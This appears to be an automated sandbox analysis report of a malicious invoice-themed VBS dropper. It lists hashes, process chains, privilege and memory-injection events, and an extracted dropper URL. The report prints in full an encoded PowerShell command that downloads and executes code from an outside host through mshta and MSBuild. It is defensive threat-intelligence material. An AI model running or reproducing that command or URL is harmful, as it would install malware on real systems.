Analysis
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max time kernel
22s -
max time network
21s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
13-01-2021 06:02
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-ID43739424297.vbs
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
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Target
Invoice-ID43739424297.vbs
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Size
305B
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MD5
e78c88623c207166afa977ddb0afefc4
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SHA1
ad5bc3c62e12ca88fc6bd8e51001156e379433fb
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SHA256
695c7c580690a30a5454ab156ad21d44da887098ad00b2cfff3b9b11e80b4c6d
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SHA512
9e13dfb091903e31d3ff535c17f0952e6445252f12101c777e31a590bae626833259de999bf5d621de4c0270a0a036bab6db84d1fa72dd0b727253a2c88046c2
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://www.minpic.de/k/bgnt/ce637
Signatures
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Blocklisted process makes network request 3 IoCs
Processes:
mshta.exepowershell.exeflow pid process 6 1428 mshta.exe 8 1428 mshta.exe 9 1532 powershell.exe -
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepid process 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1532 powershell.exe Token: SeIncreaseQuotaPrivilege 1532 powershell.exe Token: SeSecurityPrivilege 1532 powershell.exe Token: SeTakeOwnershipPrivilege 1532 powershell.exe Token: SeLoadDriverPrivilege 1532 powershell.exe Token: SeSystemProfilePrivilege 1532 powershell.exe Token: SeSystemtimePrivilege 1532 powershell.exe Token: SeProfSingleProcessPrivilege 1532 powershell.exe Token: SeIncBasePriorityPrivilege 1532 powershell.exe Token: SeCreatePagefilePrivilege 1532 powershell.exe Token: SeBackupPrivilege 1532 powershell.exe Token: SeRestorePrivilege 1532 powershell.exe Token: SeShutdownPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeSystemEnvironmentPrivilege 1532 powershell.exe Token: SeRemoteShutdownPrivilege 1532 powershell.exe Token: SeUndockPrivilege 1532 powershell.exe Token: SeManageVolumePrivilege 1532 powershell.exe Token: 33 1532 powershell.exe Token: 34 1532 powershell.exe Token: 35 1532 powershell.exe Token: SeIncreaseQuotaPrivilege 1532 powershell.exe Token: SeSecurityPrivilege 1532 powershell.exe Token: SeTakeOwnershipPrivilege 1532 powershell.exe Token: SeLoadDriverPrivilege 1532 powershell.exe Token: SeSystemProfilePrivilege 1532 powershell.exe Token: SeSystemtimePrivilege 1532 powershell.exe Token: SeProfSingleProcessPrivilege 1532 powershell.exe Token: SeIncBasePriorityPrivilege 1532 powershell.exe Token: SeCreatePagefilePrivilege 1532 powershell.exe Token: SeBackupPrivilege 1532 powershell.exe Token: SeRestorePrivilege 1532 powershell.exe Token: SeShutdownPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeSystemEnvironmentPrivilege 1532 powershell.exe Token: SeRemoteShutdownPrivilege 1532 powershell.exe Token: SeUndockPrivilege 1532 powershell.exe Token: SeManageVolumePrivilege 1532 powershell.exe Token: 33 1532 powershell.exe Token: 34 1532 powershell.exe Token: 35 1532 powershell.exe -
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
WScript.exemshta.exepowershell.exedescription pid process target process PID 1916 wrote to memory of 1428 1916 WScript.exe mshta.exe PID 1916 wrote to memory of 1428 1916 WScript.exe mshta.exe PID 1916 wrote to memory of 1428 1916 WScript.exe mshta.exe PID 1428 wrote to memory of 1532 1428 mshta.exe powershell.exe PID 1428 wrote to memory of 1532 1428 mshta.exe powershell.exe PID 1428 wrote to memory of 1532 1428 mshta.exe powershell.exe PID 1532 wrote to memory of 1620 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1620 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1620 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1620 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1548 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1548 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1548 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1548 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1908 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1908 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1908 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1908 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1736 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1736 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1736 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1736 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1608 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1608 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1608 1532 powershell.exe MSBuild.exe PID 1532 wrote to memory of 1608 1532 powershell.exe MSBuild.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice-ID43739424297.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://www.minpic.de/k/bgnu/n5z5u2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBgAEUAWAAgACgAKABuAGAAZQBgAFcAYAAtAE8AYgBqAGAARQBgAGMAYABUACAAKAAoACcATgBlAHQAJwArACcALgAnACsAJwBXAGUAYgBjACcAKwAnAGwAaQBlAG4AdAAnACkAKQApAC4AKAAoACcARAAnACsAJwBvACcAKwAnAHcAJwArACcAbgAnACsAJwBsACcAKwAnAG8AJwArACcAYQAnACsAJwBkACcAKwAnAHMAJwArACcAdAByAGkAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAJwArACcAbgAnACsAJwBnACcAKQApAC4ASQBuAFYAbwBrAEUAKAAoACgAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAbgBwAGkAYwAuAGQAZQAvAGsALwBiAGcAbgB0AC8AYwBlADYAMwA3ACcAKQApACkAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAFwAfAAvACcALAAnACgAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAXABcACcALAAnACkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAXAAvACcALAAnAHsAJwApAC4AcgBlAHAAbABhAGMAZQAoACcALwBcACcALAAnAH0AJwApAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1428-2-0x0000000000000000-mapping.dmp
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memory/1532-8-0x000000001ACA0000-0x000000001ACA1000-memory.dmpFilesize
4KB
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memory/1532-5-0x0000000000000000-mapping.dmp
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memory/1532-6-0x000007FEF2F20000-0x000007FEF390C000-memory.dmpFilesize
9.9MB
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memory/1532-7-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
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memory/1532-9-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
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memory/1532-10-0x0000000002560000-0x0000000002561000-memory.dmpFilesize
4KB
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memory/1532-11-0x000000001B550000-0x000000001B551000-memory.dmpFilesize
4KB
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memory/1532-12-0x000000001AA30000-0x000000001AA31000-memory.dmpFilesize
4KB
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memory/1532-13-0x000000001B6C0000-0x000000001B6C7000-memory.dmpFilesize
28KB
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memory/1532-14-0x000000001B6D0000-0x000000001B6D8000-memory.dmpFilesize
32KB
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memory/1816-4-0x000007FEF76B0000-0x000007FEF792A000-memory.dmpFilesize
2.5MB
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memory/1916-3-0x0000000002760000-0x0000000002764000-memory.dmpFilesize
16KB